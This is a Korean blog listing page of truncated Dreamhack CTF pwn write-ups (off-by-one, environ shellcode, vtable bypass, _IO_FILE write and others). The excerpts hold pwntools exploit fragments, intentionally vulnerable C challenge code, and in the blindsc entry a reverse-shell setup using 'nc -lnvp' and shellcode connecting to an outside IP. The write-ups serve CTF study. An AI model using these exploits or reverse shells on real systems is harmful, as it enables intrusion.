본문 바로가기

CTF

(28)
[Dreamhack] dream's notepad revenge 코드분석 password는 YISF가 포함되어 있고 crc32값이 997872474이다 system함수의 인자로 s 8글자가 들어가는데 문자열은 needle에 의해 필터링 된다 익스플로잇 password를 알아낸 후 needle을 우회하여 쉘을 따자 password는 crc32역연산을 통해 알아내려했지만 이전 crc 하위 1바이트를 어떻게 구하는지 모르겠어서 결국 브루트포싱으로 알아냄 needle은 다음 문자들을 필터링 함 근데 너무 많이 필터링해서 어떻게 우회하는지 모르겟음 ... 지금까지 익스플로잇 코드 from pwn import * p = remote('host3.dreamhack.games', 19326) p.recvuntil(b'Input your password') p.send(b'YISF\..
[Dreamhack] off_by_one_000 Write-up 코드분석 #include #include #include #include #include char cp_name[256]; void get_shell() { system("/bin/sh"); } void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int cpy() { char real_name[256]; strcpy(real_name, cp_name); return 0; } int main() { initialize(); prin..
[DreamHack] cpp_string Write-up 코드분석 //g++ -o cpp_string cpp_string.cpp #include #include #include #include #include char readbuffer[64] = {0, }; char flag[64] = {0, }; std::string writebuffer; void alarm_handler(int trash) { std::cout
[DreamHack] environ Write-up 코드 분석 std주소 제공 libc파일 제공 => libc 베이스 구하기 nx 비활성화 => stack 실행 가능 read로 쉘코드 넣은 후 environ주소를 call하자 buf의 위치는 rbp -20이다 environ과 buf의 차이는 316이므로 \x90으로 316만큼 채우고 shellcode를 뒤에 붙이자 익스플로잇코드를 짜자 from pwn import * p = remote("host3.dreamhack.games", 10165) e = ELF("./environ") libc = ELF("libc.so.6") p.recvuntil(b": ") stdout = int(p.recvline()[:-1], 16) libc_base = stdout - libc.sym['_IO_2_1_stdout_'] ..
[DreamHack] checkflag Write-up 코드분석 IDA로 열어보자 v5가 flag값을 받으면 그 값을 v6에 옮기고 fgets함수를 통해 그 값을 v11에 넘긴다 what's the flag 문구 뒤 read함수를 통해 v10은 0xc8만큼 입력 받음 => BOF v11이 v7보다 크고 v10과 v11의 문자열이 같게 되면 correct!가 출력되고 그렇지 않으면 failed가 출력된다 v10과 v11은 0x40만큼 떨어져있음 정리하면 BOF를 통해 v11을 덮으면서 v10의 값을 조금씩 변화시키면 flag값을 유추할 수 있음 익스플로잇 flag의 길이를 먼저 알아보자 from pwn import* for i in range(63): print(i) p = remote("host3.dreamhack.games", 11565) payload =..
[Dreamhack] blindsc Write-up 코드분석 쉘코드 입력 받 stdin, stdout, stderr가 /dev/null에 해당하는 파일 디스크립터로 리다이렉션 쉘코드 실행 => 리버스 쉘코드를 이용하자 익스플로잇 aws에서 ec2를 생성한 후 인스턴스 연결한다 nc -lnvp [PORT] 위의 명령어로 리버스 셸을 listen한다 단, 인바운드 규칙에 리버스 쉘로 접근하고자 하는 port가 들어있어야 외부에서 접속이 가능하다 셸코드를 전송한다 from pwn import * context.arch = 'amd64' p = remote('host3.dreamhack.games', 14995) portNum = 1111 shellcode = shellcraft.connect('43.203.119.189', portnum,'ipv4') shel..
[DreamHack] Bypass IO_validate_vtable Write-up vtable 검증을 우회하려면 _libc_IO_vtables영역에 존재하는 함수들을 fake vtable로 사용해야한다 ex) _IO_str_overflow 코드분석 #include #include FILE *fp; void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int main() { init(); fp = fopen("/dev/urandom", "r"); printf("stdout: %p\n", stdout); printf("Data: "); read(0, fp, 300); fclose(fp); } stdout의 주소를 출력한다 fp에 입력할 수 있음 익스플로잇 1.라이브러리 주소 계산 stdout주소를 통해 libc_base와 ..
[DreamHack] _IO_FILE Arbitrary Address Write Write-up 코드분석 #include #include #include char flag_buf[1024]; int overwrite_me; void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int read_flag() { FILE *fp; fp = fopen("/home/iofile_aaw/flag", "r"); fread(flag_buf, sizeof(char), sizeof(flag_buf), fp); write(1, flag_buf, sizeof(flag_buf)); fclose(fp); } int main() { FILE *fp; char file_buf[1024]; init(); fp = fopen("/etc/issue", "r"); pr..